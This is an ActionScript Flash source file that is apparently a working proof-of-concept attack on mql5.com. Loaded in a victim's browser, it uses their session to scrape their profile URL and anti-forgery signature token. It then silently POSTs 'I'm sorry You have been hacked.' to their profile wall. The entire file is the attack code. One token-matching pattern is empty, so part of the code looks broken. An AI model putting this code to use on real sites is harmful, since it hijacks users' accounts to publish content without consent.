package { import flash.display.Sprite; import flash.events.Event; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLRequestMethod; import flash.text.TextField; import flash.display.Sprite; import mx.utils.StringUtil; public class Main extends Sprite { private namespace matchData; // match, sliceStart, sliceEnd matchData var mainMenuProfileLink : Array = new Array ( /['\"]mainMenuProfileLink['\"]>/, 31, -8); matchData var newsToken : Array = new Array ( //, 47, -3); private namespace siteLinks; siteLinks var mainSiteLink : String = "https://www.mql5.com/en"; siteLinks var profileLink : String = ""; siteLinks var newsLink : String = ""; siteLinks var wallLink : String = ""; private namespace siteMap; siteMap var newsPage : String = "/news"; siteMap var wallPage : String = "/wall" private namespace requestParameters; requestParameters var newsContent : String = "I'm sorry You have been hacked." requestParameters var publishNews : String = "__signature={0}&content={1}"; public function Main() : void { var siteUrl : String = siteLinks::mainSiteLink; GetUrlAndParse (siteUrl, ParseProfileLink); } private function ParseProfileLink (event : Event) : void { var eventData : String = event.target.data; var link : String = MatchDataAndSlice (eventData, matchData::mainMenuProfileLink); if (link == null || link == "") return; siteLinks::profileLink = NormalizeLink (link, siteLinks::mainSiteLink); siteLinks::profileLink = siteLinks::profileLink.toLowerCase(); siteLinks::newsLink = siteLinks::profileLink + siteMap::newsPage; siteLinks::wallLink = siteLinks::profileLink + siteMap::wallPage; var siteUrl : String = siteLinks::newsLink; GetUrlAndParse (siteUrl, ParseTokenAndPostNews); } private function ParseTokenAndPostNews (event : Event) : void { var eventData : String = event.target.data; var signature : String = MatchDataAndSlice (eventData, matchData::newsToken); if (signature == null || signature == "") return; var data : String = publishNewsData (signature, encodeURIComponent(requestParameters::newsContent)); SendPostMessage (siteLinks::wallLink, data); } private function publishNewsData (signature : String, content : String) : String { return StringUtil.substitute(requestParameters::publishNews, signature, content); } private function SendPostMessage (site : String, data : String) : void { var request : URLRequest = new URLRequest(site); request.data = data; request.method = URLRequestMethod.POST; var loader:URLLoader = new URLLoader(); try{ loader.load(request); } catch (e : Error){ } } private function GetUrlAndParse (siteUrl : String, parser : Function = null) : void { var request : URLRequest = new URLRequest(siteUrl); var loader : URLLoader = new URLLoader(); if (parser != null){ loader.addEventListener(Event.COMPLETE, parser); } try{ loader.load(request); } catch (e : Error){ } } private function MatchDataAndSlice (data : String, matchArr : Array, getMatchNumber : Number = 0) : String { var matchDataArray : Array = data.match(matchArr[0]); if (matchDataArray.length < getMatchNumber){ return null } var matchData : String = matchDataArray[getMatchNumber]; if (matchData.length < 0){ return null; } matchData = matchData.slice(matchArr[1], matchArr[2]); return matchData } private function NormalizeLink (link : String, mainLink : String) : String { var result : String = link; if (link.indexOf("http") < 0){ if (mainLink.charAt(mainLink.length - 1) == "/" || mainLink.charAt(mainLink.length - 1) == "\\"){ if (link.charAt(0) == "/" || link.charAt(0) == "\\"){ result = mainLink + link.slice(1); } else{ result = mainLink + link; } } else{ if (link.charAt(0) == "/" || link.charAt(0) == "\\"){ result = mainLink + link; } else{ result = mainLink + "/" + link; } } } return result; } } }